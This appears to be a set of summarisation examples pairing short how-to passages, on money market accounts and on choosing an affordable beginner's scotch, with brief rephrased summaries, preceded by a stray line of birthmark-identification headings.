Know if your birthmark is a mole. Identify if your birthmark is a café au lait. Know if you have Mongolian spots. Diagnose macular stains. Spot a port-wine stain. Identify if you or your child has hemangiomas.


A money market account, sometimes called a high-yield savings account, generally provides a higher rate of return than a traditional savings account while also requiring a higher minimum fund balance.  This account invests in government or company securities and pays interest rates from those investments. It is a completely different account from a money market fund, which is offered by stockbrokers.  Like other savings accounts, money market accounts with U.S. banks are FDIC insured, and thus also subject to the six withdrawals restriction. Unlike traditional savings accounts, money market accounts often offer a limited check writing capability. Call the bank or read on your bank's website how many times you can withdraw money in a month.  These accounts will follow the federal limit of withdrawals, and they will penalize you if your withdrawal takes your account below the minimum account balance. These may still be seen as withdrawals, even though they do not go directly to a third party site. Money market accounts regularly supply their customers with checks, placing them somewhere between savings accounts without check-writing ability and checking accounts with unlimited check-writing. They may allow up to 3 checks to be written from the account each month.

How would you rephrase that briefly using English?

Know your money market account. Keep track of your monthly withdrawals and know your bank’s rules and restrictions. Transfer funds to a linked checking account, online or in person. Write a check.


A more expensive scotch doesn’t always mean a better tasting experience, especially if you’re a beginner. There are a variety of single malt scotches available for 50 dollars (43 euros) or less that have complex flavors and aromas that you can start out with.A few popular distilleries that sell affordable single malts are:  Glenlivet Highland Park Glenfiddich Balvenie Glenmorangie Some scotches have a smoky flavor, while others are more fruity and nutty. You won’t know all the flavors a scotch has before you taste it, but you can get a better sense of what they’ll be by knowing what region of Scotland it was distilled in. Look out for one of these four scotch-producing regions on the bottle:  Islay: Scotch distilled in the Islay region is smokier with a heavy peat flavor.  The Lowlands: The Lowlands region produces lighter, fresher scotches.  Speyside: Scotch produced in Speyside tends to have fruity flavors.  The Highlands: The Highlands region distills scotches with all different flavors.  Campbeltown: Campbeltown produces distinct and enduring Scotch from the 3 distilleries in the region. Look for something that’s in the 10 to 15-year range. It’s said that scotch gets better with age, but as a beginner, don’t worry as much about tasting older scotches. Older scotches are traditionally more expensive and you might have a hard time distinguishing the complex flavors and aromas as a beginner.

How would you rephrase that briefly using English?

Get a reasonably priced scotch to start. Choose a scotch based on the flavors you like. Start off with a younger bottle of scotch.